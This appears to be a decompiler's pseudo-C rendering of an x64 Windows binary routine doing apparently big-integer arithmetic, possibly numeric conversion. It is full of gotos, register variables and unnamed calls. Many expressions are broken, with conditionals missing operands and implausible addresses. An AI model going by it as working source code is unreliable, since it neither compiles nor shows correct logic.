				r14d =  *(_t1778 + 0x320);
				if (1 == 0) goto 0xaf715c2d;
				goto 0xaf715b6d;
				r12d = r14d;
				_t1626 =  >=  ? _t1778 + 0x324 : _t1778 + 0x6c4;
				_t1796 = _t1778 + 0x6c4;
				r12d =  <  ? r10d : r12d;
				 *(_t1781 + 0x68) = _t1626;
				_t1719 =  >=  ? _t1796 : _t1778 + 0x324;
				r11d = 0;
				 *(_t1781 + 0x48) = _t1719;
				 *(_t1778 + 0x4f0) = r11d;
				r9d = r11d;
				r10d =  !=  ? r14d : r10d;
				r14d = r11d;
				if (r12d == 0) goto 0xaf715b0e;
				if ( *((intOrPtr*)(_t1626 + _t1588 * 4)) != 0) goto 0xaf715a25;
				if (r9d != r14d) goto 0xaf715b02;
				_t115 = _t1852 + 1; // 0x1
				r14d = _t115;
				 *(_t1778 + 0x4f4 + _t1588 * 4) = r11d;
				 *(_t1778 + 0x4f0) = r14d;
				goto 0xaf715b02;
				r8d = r9d;
				if (r10d == 0) goto 0xaf715aeb;
				if (r8d == 0x73) goto 0xaf715a99;
				if (r8d != r14d) goto 0xaf715a56;
				 *(_t1778 + 0x4f4 + _t1603 * 4) =  *(_t1778 + 0x4f4 + _t1603 * 4) & 0x00000000;
				_t126 = _t1796 + 1; // 0x1
				 *(_t1778 + 0x4f0) = _t126;
				r8d = r8d + 1;
				 *(_t1778 + 0x4f4 + _t1603 * 4) =  *(_t1719 + _t1588 * 4);
				r14d =  *(_t1778 + 0x4f0);
				if (_t1766 + _t1796 == r10d) goto 0xaf715a99;
				_t1723 =  *(_t1781 + 0x48);
				goto 0xaf715a36;
				if (r11d == 0) goto 0xaf715aeb;
				if (r8d == 0x73) goto 0xaf715c23;
				if (r8d != r14d) goto 0xaf715ac2;
				 *(_t1778 + 0x4f4 + _t1723 * 4) =  *(_t1778 + 0x4f4 + _t1723 * 4) & 0x00000000;
				_t146 = _t1796 + 1; // 0x1
				 *(_t1778 + 0x4f0) = _t146;
				r8d = r8d + 1;
				_t1155 = r11d;
				 *(_t1778 + 0x4f4 + _t1723 * 4) = _t1155;
				r14d =  *(_t1778 + 0x4f0);
				r11d = _t1155;
				if (_t1155 != 0) goto 0xaf715a9e;
				r11d = 0;
				if (r8d == 0x73) goto 0xaf715c26;
				r9d = r9d + 1;
				if (r9d != r12d) goto 0xaf7159fa;
				r8d = r14d;
				_t1797 = _t1796 << 2;
				 *(_t1778 + 0x320) = r14d;
				if (_t1797 == 0) goto 0xaf715b66;
				_t1395 = _t1797 - 0x1cc;
				if (_t1395 > 0) goto 0xaf715b3f;
				E00007FF77FF7AF70AFB0();
				goto 0xaf715b5c;
				r8d = 0x1cc;
				E00007FF77FF7AF70ABF0();
				E00007FF77FF7AF70F830(_t1588);
				 *_t1588 = 0x22;
				E00007FF77FF7AF70F6C4();
				r14d =  *(_t1778 + 0x320);
				r11d = 0;
				 *(_t1781 + 0x3c) =  *(_t1781 + 0x3c) -  *(_t1781 + 0x34);
				if (_t1395 != 0) goto 0xaf7157b9;
				r13d = r13d - _t1588 + _t1588 * 4 + _t1588 + _t1588 * 4;
				if (_t1395 == 0) goto 0xaf715c37;
				_t922 =  *(0x7ff7af6d0000 + 0x69a08 + _t1588 * 4);
				if (_t922 == 0) goto 0xaf715c2d;
				if (_t922 == 1) goto 0xaf715c37;
				if (r14d == 0) goto 0xaf715c37;
				r8d = r11d;
				r9d = r11d;
				r10d = _t922;
				r9d = r9d + 1;
				_t1632 = (_t1778 + 0x324) * _t1603 + _t1588;
				if (r9d != r14d) goto 0xaf715bc1;
				if (r8d == 0) goto 0xaf715c1a;
				if ( *(_t1778 + 0x320) - 0x73 >= 0) goto 0xaf715c2d;
				 *(_t1778 + 0x324 + _t1588 * 4) = r8d;
				r14d =  *(_t1778 + 0x320);
				r14d = r14d + 1;
				 *(_t1778 + 0x320) = r14d;
				goto 0xaf715c37;
				r14d =  *(_t1778 + 0x320);
				goto 0xaf715c37;
				r11d = 0;
				r14d = r11d;
				 *(_t1778 + 0x320) = r11d;
				if (r15d == 0) goto 0xaf715cac;
				r8d = r11d;
				if (r14d == 0) goto 0xaf715c77;
				r8d = r8d + 1;
				_t1240 = r15d;
				 *(_t1778 + 0x324 + _t1632 * 4) = _t1240;
				r14d =  *(_t1778 + 0x320);
				r15d = _t1240;
				if (r8d != r14d) goto 0xaf715c44;
				if (_t1240 == 0) goto 0xaf715cac;
				if (r14d - 0x73 >= 0) goto 0xaf715ca0;
				 *(_t1778 + 0x324 + _t1588 * 4) = r15d;
				r14d =  *(_t1778 + 0x320);
				r14d = r14d + 1;
				 *(_t1778 + 0x320) = r14d;
				goto 0xaf715cb1;
				r14d = r11d;
				 *(_t1778 + 0x320) = r11d;
				goto 0xaf715cb1;
				r8d =  *(_t1781 + 0x30);
				if (r8d == 0) goto 0xaf7161cb;
				_t931 = 0xcccccccd * r8d >> 0x20 >> 3;
				 *(_t1781 + 0x34) = _t931;
				 *(_t1781 + 0x3c) = _t931;
				if (_t931 == 0) goto 0xaf71609a;
				_t933 =  >  ? 0x26 : _t931;
				 *(_t1781 + 0x38) =  >  ? 0x26 : _t931;
				_t1604 = _t1632 * 4;
				 *(_t1778 + 0x6c0) = _t1771 + _t1632;
				E00007FF77FF7AF70ABF0();
				_t1772 = _t1771 << 2;
				E00007FF77FF7AF70AFB0();
				r10d =  *(_t1778 + 0x6c0);
				if (r10d - 1 > 0) goto 0xaf715dbe;
				_t937 =  *((intOrPtr*)(_t1778 + 0x6c4));
				r11d = 0;
				if (_t937 != 0) goto 0xaf715d74;
				r14d = r11d;
				 *(_t1778 + 0x320) = r11d;
				goto 0xaf715eb6;
				if (_t937 == 1) goto 0xaf715eb6;
				if (r14d == 0) goto 0xaf715eb6;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				if (r9d != r14d) goto 0xaf715d8f;
				goto 0xaf715e71;
				if (r14d - 1 > 0) goto 0xaf715ec5;
				_t1119 =  *(_t1778 + 0x324);
				_t1805 = _t1588 << 2;
				r11d = 0;
				 *(_t1778 + 0x320) = r10d;
				r14d = r10d;
				if (_t1805 == 0) goto 0xaf715e2c;
				if (_t1805 - 0x1cc > 0) goto 0xaf715e05;
				_t1730 = _t1778 + 0x6c4;
				E00007FF77FF7AF70AFB0();
				goto 0xaf715e22;
				r8d = 0x1cc;
				E00007FF77FF7AF70ABF0();
				E00007FF77FF7AF70F830(_t1588);
				 *_t1588 = 0x22;
				E00007FF77FF7AF70F6C4();
				r14d =  *(_t1778 + 0x320);
				r11d = 0;
				if (_t1119 == 0) goto 0xaf715d65;
				if (_t1119 == 1) goto 0xaf715eb6;
				if (r14d == 0) goto 0xaf715eb6;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				_t1807 = (_t1778 + 0x324) * _t1604 + _t1588 >> 0x20;
				if (r9d != r14d) goto 0xaf715e47;
				if (r8d == 0) goto 0xaf715eaf;
				if ( *(_t1778 + 0x320) - 0x73 >= 0) goto 0xaf715ea0;
				 *(_t1778 + 0x324 + _t1588 * 4) = r8d;
				r14d =  *(_t1778 + 0x320);
				r14d = r14d + 1;
				 *(_t1778 + 0x320) = r14d;
				goto 0xaf715eb6;
				 *(_t1778 + 0x320) = r11d;
				r14d = r11d;
				goto 0xaf715eb8;
				r14d =  *(_t1778 + 0x320);
				if (1 == 0) goto 0xaf716145;
				goto 0xaf71607a;
				r15d = r14d;
				_t1889 =  >=  ? _t1778 + 0x324 : _t1778 + 0x6c4;
				r15d =  <  ? r10d : r15d;
				_t1896 =  >=  ? _t1778 + 0x6c4 : _t1778 + 0x324;
				r11d = 0;
				 *(_t1778 + 0x4f0) = r11d;
				r9d = r11d;
				r10d =  !=  ? r14d : r10d;
				r14d = r11d;
				if (r15d == 0) goto 0xaf71601b;
				if ( *((intOrPtr*)(( >=  ? _t1778 + 0x324 : _t1778 + 0x6c4) + _t1588 * 4)) != 0) goto 0xaf715f41;
				if (r9d != r14d) goto 0xaf71600f;
				_t263 = _t1852 + 1; // 0x1
				r14d = _t263;
				 *(_t1778 + 0x4f4 + _t1588 * 4) = r11d;
				 *(_t1778 + 0x4f0) = r14d;
				goto 0xaf71600f;
				r8d = r9d;
				if (r10d == 0) goto 0xaf716002;
				if (r8d == 0x73) goto 0xaf715fb0;
				if (r8d != r14d) goto 0xaf715f72;
				 *(_t1778 + 0x4f4 + _t1766 * 4) =  *(_t1778 + 0x4f4 + _t1766 * 4) & 0x00000000;
				_t274 = _t1807 + 1; // 0x1
				 *(_t1778 + 0x4f0) = _t274;
				r8d = r8d + 1;
				_t1733 = _t1730 * _t1772 + _t1588 + _t1588;
				 *(_t1778 + 0x4f4 + _t1766 * 4) =  *(( >=  ? _t1778 + 0x6c4 : _t1778 + 0x324) + _t1588 * 4);
				r14d =  *(_t1778 + 0x4f0);
				if (_t1604 + _t1807 != r10d) goto 0xaf715f52;
				if (r11d == 0) goto 0xaf716002;
				if (r8d == 0x73) goto 0xaf716142;
				if (r8d != r14d) goto 0xaf715fd9;
				 *(_t1778 + 0x4f4 + _t1733 * 4) =  *(_t1778 + 0x4f4 + _t1733 * 4) & 0x00000000;
				_t293 = _t1807 + 1; // 0x2
				 *(_t1778 + 0x4f0) = _t293;
				r8d = r8d + 1;
				_t1164 = r11d;
				 *(_t1778 + 0x4f4 + _t1733 * 4) = _t1164;
				r14d =  *(_t1778 + 0x4f0);
				r11d = _t1164;
				if (_t1164 != 0) goto 0xaf715fb5;
				r11d = 0;
				if (r8d == 0x73) goto 0xaf716145;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0xaf715f15;
				r8d = r14d;
				_t1808 = _t1807 << 2;
				 *(_t1778 + 0x320) = r14d;
				if (_t1808 == 0) goto 0xaf716073;
				_t1441 = _t1808 - 0x1cc;
				if (_t1441 > 0) goto 0xaf71604c;
				_t1734 = _t1778 + 0x4f4;
				E00007FF77FF7AF70AFB0();
				goto 0xaf716069;
				r8d = 0x1cc;
				E00007FF77FF7AF70ABF0();
				E00007FF77FF7AF70F830(_t1588);
				 *_t1588 = 0x22;
				E00007FF77FF7AF70F6C4();
				r14d =  *(_t1778 + 0x320);
				r11d = 0;
				 *(_t1781 + 0x3c) =  *(_t1781 + 0x3c) -  *(_t1781 + 0x38);
				if (_t1441 != 0) goto 0xaf715cde;
				r8d =  *(_t1781 + 0x30);
				r8d = r8d - _t1588 + _t1588 * 4 + _t1588 + _t1588 * 4;
				if (_t1441 == 0) goto 0xaf7161cb;
				_t960 =  *(0x7ff7af6d0000 + 0x69a08 + _t1588 * 4);
				if (_t960 != 0) goto 0xaf7160c7;
				r14d = r11d;
				 *(_t1778 + 0x320) = r11d;
				goto 0xaf7161d0;
				if (_t960 == 1) goto 0xaf7161cb;
				if (r14d == 0) goto 0xaf7161d0;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				_t1167 =  *(_t1778 + 0x324 + _t1734 * 4);
				 *(_t1778 + 0x324 + _t1734 * 4) = _t1167;
				if (r9d != r14d) goto 0xaf7160e2;
				if (r8d == 0) goto 0xaf7161c4;
				if ( *(_t1778 + 0x320) - 0x73 >= 0) goto 0xaf716145;
				 *(_t1778 + 0x324 + _t1588 * 4) = r8d;
				r14d =  *(_t1778 + 0x320);
				r14d = r14d + 1;
				 *(_t1778 + 0x320) = r14d;
				goto 0xaf7161cb;
				r11d = 0;
				_t1735 =  *((intOrPtr*)(_t1781 + 0x60));
				_t1811 =  *_t1735;
				if ( *((intOrPtr*)(_t1735 + 8)) == r11b) goto 0xaf716198;
				asm("dec eax");
				_t1592 =  *_t1811 & 0x00000000;
				 *_t1811 = ((_t1778 + 0x00000324) * _t1588 + _t1588 & 0x00000000) + 0x00000000 & 0x00000000 | _t1592;
				goto 0xaf7161ba;
				asm("sbb ecx, ecx");
				 *_t1811 = ((_t1167 & 0x80000000) + 0x7f800000 |  *_t1811 & 0x7f800000) & 0xff800000;
				goto 0xaf7173ff;
				r14d =  *(_t1778 + 0x320);
				_t1449 = r14d;
				if (_t1449 != 0) goto 0xaf7161d5;
				goto 0xaf7161f4;
				_t337 = _t1899 - 1; // -1
				 *(_t1781 + 0x48) = r11d;
				asm("bsr eax, [ebp+ecx*4+0x324]");
				if (_t1449 == 0) goto 0xaf7161ec;
				goto 0xaf7161ef;
				_t1175 = (_t337 << 5) + r11d;
				 *(_t1781 + 0x3c) = _t1175;
				if (_t1175 -  *(_t1781 + 0x50) >= 0) goto 0xaf7173d5;
				if ( *(_t1781 + 0x40) == 0) goto 0xaf7173d7;
				_t1605 =  *((intOrPtr*)(_t1781 + 0x78));
				r15d = r11d;
				_t1767 =  *(_t1781 + 0x70);
				r12d = r11d;
				 *(_t1778 + 0x150) = r11d;
				r13d = r11d;
				if (_t1605 == _t1767) goto 0xaf716993;
				if (r13d != 9) goto 0xaf71637b;
				if (r15d == 0) goto 0xaf7162d9;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				 *(_t1778 + 0xffc0000000000154) = _t1175;
				if (r9d != r15d) goto 0xaf71624a;
				if (r8d == 0) goto 0xaf7162d2;
				if ( *(_t1778 + 0x150) - 0x73 >= 0) goto 0xaf7162a6;
				 *(_t1778 + 0x154 + _t1592 * 4) = r8d;
				r15d =  *(_t1778 + 0x150);
				r15d = r15d + 1;
				 *(_t1778 + 0x150) = r15d;
				goto 0xaf7162d9;
				r9d = 0;
				 *(_t1778 + 0x890) = r11d;
				 *(_t1778 + 0x150) = r11d;
				_t1654 = _t1778 + 0x154;
				E00007FF77FF7AF7179E4(_t1592, _t1605, _t1654, 0, _t1772, _t1778 + 0x894, __rcx, _t1901);
				r11d = 0;
				r15d =  *(_t1778 + 0x150);
				if (r12d == 0) goto 0xaf716375;
				r8d = r11d;
				if (r15d == 0) goto 0xaf71631e;
				r8d = r8d + 1;
				r15d =  *(_t1778 + 0x150);
				if (r8d != r15d) goto 0xaf7162ea;
				if (r12d == 0) goto 0xaf716375;
				if (r15d - 0x73 >= 0) goto 0xaf716342;
				 *(_t1778 + 0x154 + _t1592 * 4) = r12d;
				r15d =  *(_t1778 + 0x150);
				r15d = r15d + 1;
				 *(_t1778 + 0x150) = r15d;
				goto 0xaf716375;
				r9d = 0;
				 *(_t1778 + 0x890) = r11d;
				 *(_t1778 + 0x150) = r11d;
				_t1656 = _t1778 + 0x154;
				E00007FF77FF7AF7179E4(_t1592, _t1605, _t1656, 0, _t1772, _t1778 + 0x894, __rcx, _t1899);
				r15d =  *(_t1778 + 0x150);
				r11d = 0;
				r12d = r11d;
				r13d = r11d;
				r13d = r13d + 1;
				r12d = _t1592 + _t1656 * 2;
				if (_t1605 + 1 != _t1767) goto 0xaf716231;
				if (r13d == 0) goto 0xaf716993;
				_t984 = 0xcccccccd * r13d >> 0x20 >> 3;
				 *(_t1781 + 0x48) = _t984;
				_t1178 = _t984;
				 *(_t1781 + 0x34) = _t984;
				if (_t984 == 0) goto 0xaf71679a;
				_t986 =  >  ? 0x26 : _t1178;
				 *(_t1781 + 0x38) =  >  ? 0x26 : _t1178;
				_t1607 = _t1656 * 4;
				 *(_t1778 + 0x6c0) = _t1772 + _t1656;
				E00007FF77FF7AF70ABF0();
				_t1773 = _t1772 << 2;
				E00007FF77FF7AF70AFB0();
				r10d =  *(_t1778 + 0x6c0);
				if (r10d - 1 > 0) goto 0xaf716521;
				_t989 =  *((intOrPtr*)(_t1778 + 0x6c4));
				if (_t989 != 0) goto 0xaf716471;
				 *(_t1778 + 0x890) = 0;
				 *(_t1778 + 0x150) = 0;
				r9d = 0;
				goto 0xaf71675f;
				if (_t989 == 1) goto 0xaf716777;
				if (r15d == 0) goto 0xaf716777;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0xaf71648c;
				if (r8d == 0) goto 0xaf716770;
				if ( *(_t1778 + 0x150) - 0x73 >= 0) goto 0xaf7164ec;
				 *(_t1778 + 0x1ffdebdb40154) = r8d;
				r15d =  *(_t1778 + 0x150);
				r15d = r15d + 1;
				 *(_t1778 + 0x150) = r15d;
				goto 0xaf716777;
				r9d = 0;
				 *(_t1778 + 0x890) = 0;
				 *(_t1778 + 0x150) = 0;
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, _t1607, _t1778 + 0x154, 0x27fd66d279060, _t1773, _t1778 + 0x894, __rcx, _t1894);
				r15d =  *(_t1778 + 0x150);
				goto 0xaf716779;
				if (r15d - 1 > 0) goto 0xaf7165ff;
				_t1124 =  *((intOrPtr*)(_t1778 + 0x154));
				 *(_t1778 + 0x150) = r10d;
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, _t1607, _t1778 + 0x154, 0x27fd66d279060, _t1773, _t1778 + 0x6c4, 0x7ff7af6d0000 << 2, _t1884);
				if (_t1124 != 0) goto 0xaf71656e;
				 *(_t1778 + 0x890) = 0;
				 *(_t1778 + 0x150) = 0;
				goto 0xaf716462;
				r15d =  *(_t1778 + 0x150);
				if (_t1124 == 1) goto 0xaf716777;
				if (r15d == 0) goto 0xaf716777;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0xaf716590;
				if (r8d == 0) goto 0xaf716770;
				if ( *(_t1778 + 0x150) - 0x73 < 0) goto 0xaf7164c8;
				r9d = 0;
				 *(_t1778 + 0x890) = 0;
				_t1825 = _t1778 + 0x894;
				 *(_t1778 + 0x150) = 0;
				_t1667 = _t1778 + 0x154;
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, _t1607, _t1667, 0x27fd66d279060, _t1773, _t1825, 0x7ff7af6d0000 << 2, _t1766);
				goto 0xaf716515;
				_t1741 =  >=  ? _t1667 : _t1778 + 0x6c4;
				_t1126 =  <  ? r10d : r15d;
				 *(_t1781 + 0x68) = _t1741;
				 *(_t1781 + 0x30) = _t1126;
				_t1669 =  >=  ? _t1825 : _t1778 + 0x154;
				r10d =  !=  ? r15d : r10d;
				r9d = 0;
				 *(_t1778 + 0x4f0) = 0;
				if (_t1126 == 0) goto 0xaf71674b;
				_t1904 =  >=  ? _t1825 : _t1778 + 0x154;
				_t1335 =  *(_t1741 + 0x2eb6eb4);
				if (_t1335 != 0) goto 0xaf71666f;
				if (r9d != 0) goto 0xaf71673f;
				 *(_t1778 + 0x2eb73a8) =  *(_t1778 + 0x2eb73a8) & _t1335;
				 *(_t1778 + 0x4f0) = 0xbadbae;
				goto 0xaf71673f;
				r11d = 0;
				r8d = r9d;
				if (r10d == 0) goto 0xaf716730;
				if (r8d == 0x73) goto 0xaf7166df;
				if (r8d != 0xbadbae) goto 0xaf7166a3;
				 *(_t1778 + 0x4f4 + _t1767 * 4) =  *(_t1778 + 0x4f4 + _t1767 * 4) & 0x00000000;
				_t475 = _t1825 + 1; // 0x1
				 *(_t1778 + 0x4f0) = _t475;
				r8d = r8d + 1;
				_t1744 = _t1741 * _t1773 + 0xffef5eda0000;
				 *(_t1778 + 0x4f4 + _t1767 * 4) =  *(_t1904 + 0x1ffdebdb40000);
				if (_t1607 + _t1825 != r10d) goto 0xaf716683;
				if (r11d == 0) goto 0xaf71672c;
				if (r8d == 0x73) goto 0xaf71672c;
				if (r8d !=  *(_t1778 + 0x4f0)) goto 0xaf716704;
				 *(_t1778 + 0x4f4 + _t1744 * 4) =  *(_t1778 + 0x4f4 + _t1744 * 4) & 0x00000000;
				_t494 = _t1825 + 1; // 0x2
				 *(_t1778 + 0x4f0) = _t494;
				_t1182 =  *(_t1778 + 0x4f4 + _t1744 * 4);
				r8d = r8d + 1;
				 *(_t1778 + 0x4f4 + _t1744 * 4) = _t1182;
				_t1009 =  *(_t1778 + 0x4f0);
				r11d = _t1182;
				if (_t1182 != 0) goto 0xaf7166e4;
				if (r8d == 0x73) goto 0xaf7167f7;
				_t1745 =  *(_t1781 + 0x68);
				r9d = r9d + 1;
				if (r9d !=  *(_t1781 + 0x30)) goto 0xaf716647;
				r9d = _t1009;
				 *(_t1778 + 0x150) = _t1009;
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, _t1607, _t1778 + 0x154, _t1745, _t1773, _t1778 + 0x4f4, 0x7ff7af6d0000 << 2 << 2, _t1770);
				r15d =  *(_t1778 + 0x150);
				r11d = 0;
				if (1 == 0) goto 0xaf716832;
				 *(_t1781 + 0x34) =  *(_t1781 + 0x34) -  *(_t1781 + 0x38);
				if (1 != 0) goto 0xaf7163bd;
				r13d = r13d - 0x4ffacda420000;
				if (1 == 0) goto 0xaf716865;
				if ( *0x27FD66D279A08 != 0) goto 0xaf7168df;
				r9d = 0;
				 *(_t1778 + 0x890) = r11d;
				 *(_t1778 + 0x150) = r11d;
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, 0x7ff7af6d0000, _t1778 + 0x154, _t1745, _t1773, _t1778 + 0x894, 0x7ff7af6d0000 << 2 << 2, _t1777);
				r15d =  *(_t1778 + 0x150);
				r11d = 0;
				goto 0xaf71686c;
				 *(_t1778 + 0x890) =  *(_t1778 + 0x890) & 0x00000000;
				 *(_t1778 + 0x150) =  *(_t1778 + 0x150) & 0x00000000;
				r9d = 0;
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, 0x7ff7af6d0000, _t1778 + 0x154, _t1745, _t1773, _t1778 + 0x894, 0x7ff7af6d0000 << 2 << 2);
				r15d =  *(_t1778 + 0x150);
				r11d = 0;
				goto 0xaf71677c;
				r9d = 0;
				 *(_t1778 + 0x890) = r11d;
				 *(_t1778 + 0x150) = r11d;
				_t1675 = _t1778 + 0x154;
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, 0x7ff7af6d0000, _t1675, _t1745, _t1773, _t1778 + 0x894, 0x7ff7af6d0000 << 2 << 2);
				r15d =  *(_t1778 + 0x150);
				r11d = 0;
				if (r12d == 0) goto 0xaf71699a;
				r8d = r11d;
				if (r15d == 0) goto 0xaf7168b4;
				r8d = r8d + 1;
				_t1270 =  *(_t1778 + 0x154 + _t1675 * 4);
				 *(_t1778 + 0x154 + _t1675 * 4) = _t1270;
				r15d =  *(_t1778 + 0x150);
				r12d = _t1270;
				if (r8d != r15d) goto 0xaf71687d;
				if (_t1270 == 0) goto 0xaf71699a;
				if (r15d - 0x73 >= 0) goto 0xaf71695e;
				 *(_t1778 + 0x1ffdebdb40154) = r12d;
				r15d =  *(_t1778 + 0x150);
				r15d = r15d + 1;
				 *(_t1778 + 0x150) = r15d;
				goto 0xaf71699a;
				if (r15d == 1) goto 0xaf71686c;
				if (r15d == 0) goto 0xaf71686c;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0xaf7168f2;
				if (r8d == 0) goto 0xaf716952;
				if ( *(_t1778 + 0x150) - 0x73 >= 0) goto 0xaf7167c2;
				 *(_t1778 + 0x1ffdebdb40154) = r8d;
				r15d =  *(_t1778 + 0x150);
				r15d = r15d + 1;
				 *(_t1778 + 0x150) = r15d;
				goto 0xaf71686c;
				r15d =  *(_t1778 + 0x150);
				goto 0xaf71686c;
				r9d = 0;
				 *(_t1778 + 0x890) = r11d;
				 *(_t1778 + 0x150) = r11d;
				_t1678 = _t1778 + 0x154;
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, 0x7ff7af6d0000, _t1678, _t1745 + 0x7ff7af6d0000 >> 0x20, _t1773, _t1778 + 0x894, 0x7ff7af6d0000 << 2 << 2);
				r15d =  *(_t1778 + 0x150);
				r11d = 0;
				goto 0xaf71699a;
				r13d = 1;
				r12d =  *(_t1781 + 0x40);
				 *((long long*)(_t1778 + 0x4f4)) = 1;
				 *(_t1781 + 0x30) = r13d;
				r12d = r12d -  *((intOrPtr*)( *((intOrPtr*)(_t1781 + 0x58))));
				 *(_t1778 + 0x4f0) = r13d;
				r12d =  >=  ?  *(_t1781 + 0x40) : r12d;
				_t1030 = 0xcccccccd * r12d >> 0x20 >> 3;
				 *(_t1781 + 0x38) = _t1030;
				_t1187 = _t1030;
				 *(_t1781 + 0x34) = _t1030;
				if (_t1030 == 0) goto 0xaf716e2e;
				_t1032 =  >  ? 0x26 : _t1187;
				 *(_t1781 + 0x48) =  >  ? 0x26 : _t1187;
				_t1611 = _t1678 * 4;
				 *(_t1778 + 0x890) = _t1773 + _t1678;
				E00007FF77FF7AF70ABF0();
				_t1774 = _t1773 << 2;
				E00007FF77FF7AF70AFB0();
				r10d =  *(_t1778 + 0x890);
				if (r10d - 1 > 0) goto 0xaf716b6a;
				if ( *((intOrPtr*)(_t1778 + 0x894)) != 0) goto 0xaf716ac4;
				r9d = 0;
				 *(_t1778 + 0x6c0) = 0;
				_t606 = _t1778 + 0x6c4; // 0x6c5
				 *(_t1778 + 0x4f0) = 0;
				_t608 = _t1778 + 0x4f4; // 0x4f5
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, _t1611, _t608, 0x27fd66d279060, _t1774, _t606, 0x7ff7af6d0000 << 2 << 2);
				r13d =  *(_t1778 + 0x4f0);
				 *(_t1781 + 0x30) = r13d;
				goto 0xaf716e06;
				if (1 == 1) goto 0xaf716ab8;
				if (r13d == 0) goto 0xaf716ab8;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				if (r9d != r13d) goto 0xaf716ad7;
				if (r8d == 0) goto 0xaf716aac;
				if ( *(_t1778 + 0x4f0) - 0x73 >= 0) goto 0xaf716b30;
				 *(_t1778 + 0x1ffdebdb404f4) = r8d;
				r13d =  *(_t1778 + 0x4f0);
				r13d = r13d + 1;
				 *(_t1778 + 0x4f0) = r13d;
				goto 0xaf716ab3;
				r9d = 0;
				 *(_t1778 + 0x890) = 0;
				_t625 = _t1778 + 0x894; // 0x895
				 *(_t1778 + 0x4f0) = 0;
				_t627 = _t1778 + 0x4f4; // 0x4f5
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, _t1611, _t627, 0x27fd66d279060, _t1774, _t625, 0x7ff7af6d0000 << 2 << 2);
				r13d =  *(_t1778 + 0x4f0);
				 *(_t1781 + 0x30) = r13d;
				goto 0xaf716aba;
				_t630 = _t1778 + 0x894; // 0x895
				_t631 = _t1778 + 0x4f4; // 0x4f5
				if (r13d - 1 > 0) goto 0xaf716c83;
				_t1131 =  *((intOrPtr*)(_t1778 + 0x4f4));
				 *(_t1778 + 0x4f0) = r10d;
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, _t1611, _t631, 0x27fd66d279060, _t1774, _t630, 0x7ff7af6d0000 << 2);
				if (_t1131 != 0) goto 0xaf716bc3;
				 *(_t1778 + 0x890) = 0;
				 *(_t1778 + 0x4f0) = 0;
				r9d = 0;
				goto 0xaf716de9;
				r13d =  *(_t1778 + 0x4f0);
				 *(_t1781 + 0x30) = r13d;
				if (_t1131 == 1) goto 0xaf716e04;
				if (r13d == 0) goto 0xaf716e04;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				if (r9d != r13d) goto 0xaf716bea;
				if (r8d == 0) goto 0xaf716df8;
				if ( *(_t1778 + 0x4f0) - 0x73 >= 0) goto 0xaf716c4a;
				 *(_t1778 + 0x1ffdebdb404f4) = r8d;
				r13d =  *(_t1778 + 0x4f0);
				r13d = r13d + 1;
				 *(_t1778 + 0x4f0) = r13d;
				goto 0xaf716dff;
				r9d = 0;
				 *(_t1778 + 0x890) = 0;
				_t653 = _t1778 + 0x894; // 0x895
				_t1843 = _t653;
				 *(_t1778 + 0x4f0) = 0;
				_t655 = _t1778 + 0x4f4; // 0x4f5
				_t1690 = _t655;
				E00007FF77FF7AF7179E4(0x7ff7af6d0000, _t1611, _t1690, _t1774, _t1774, _t1843, 0x7ff7af6d0000 << 2);
				r13d =  *(_t1778 + 0x4f0);
				 *(_t1781 + 0x30) = r13d;
				goto 0xaf716e06;
				_t658 = _t1778 + 0x894; // 0x895
				_t1752 =  >=  ? _t1690 : _t658;
				_t1133 =  <  ? r10d : r13d;
				 *(_t1781 + 0x68) = _t1752;
				_t662 = _t1778 + 0x4f4; // 0x4f5
				 *(_t1781 + 0x30) = _t1133;
				_t1692 =  >=  ? _t1843 : _t662;
				r10d =  !=  ? r13d : r10d;
				r9d = 0;
				 *(_t1778 + 0x6c0) = 0;
				if (_t1133 == 0) goto 0xaf716dd0;
				_t1897 =  >=  ? _t1843 : _t662;
				_t1339 =  *(_t1752 + 0x2eb6eb4);
				if (_t1339 != 0) goto 0xaf716cf3;
				if (r9d != 0) goto 0xaf716dc4;
				 *(_t1778 + 0x2eb7578) =  *(_t1778 + 0x2eb7578) & _t1339;
				 *(_t1778 + 0x6c0) = 0xbadbae;
				goto 0xaf716dc4;
				r11d = 0;
				r8d = r9d;
				if (r10d == 0) goto 0xaf716db5;
				if (r8d == 0x73) goto 0xaf716d64;
				if (r8d != 0xbadbae) goto 0xaf716d27;
				 *(_t1778 + 0x6c4 + _t1767 * 4) =  *(_t1778 + 0x6c4 + _t1767 * 4) & 0x00000000;
				_t681 = _t1843 + 1; // 0x1
				 *(_t1778 + 0x6c0) = _t681;
				r8d = r8d + 1;
				_t1755 = _t1752 * _t1774 + 0xffef5eda0000;
				 *(_t1778 + 0x6c4 + _t1767 * 4) =  *(_t1897 + 0x1ffdebdb40000);
				_t1883 = _t1755 >> 0x20;
				if (_t1611 + _t1843 != r10d) goto 0xaf716d07;
				if (r11d == 0) goto 0xaf716db1;
				if (r8d == 0x73) goto 0xaf716db1;
				if (r8d !=  *(_t1778 + 0x6c0)) goto 0xaf716d89;
				 *(_t1778 + 0x6c4 + _t1755 * 4) =  *(_t1778 + 0x6c4 + _t1755 * 4) & 0x00000000;
				_t700 = _t1843 + 1; // 0x2
				 *(_t1778 + 0x6c0) = _t700;
				r8d = r8d + 1;
				_t1191 = r11d;
				 *(_t1778 + 0x6c4 + _t1755 * 4) = _t1191;
				_t1058 =  *(_t1778 + 0x6c0);
				r11d = _t1191;
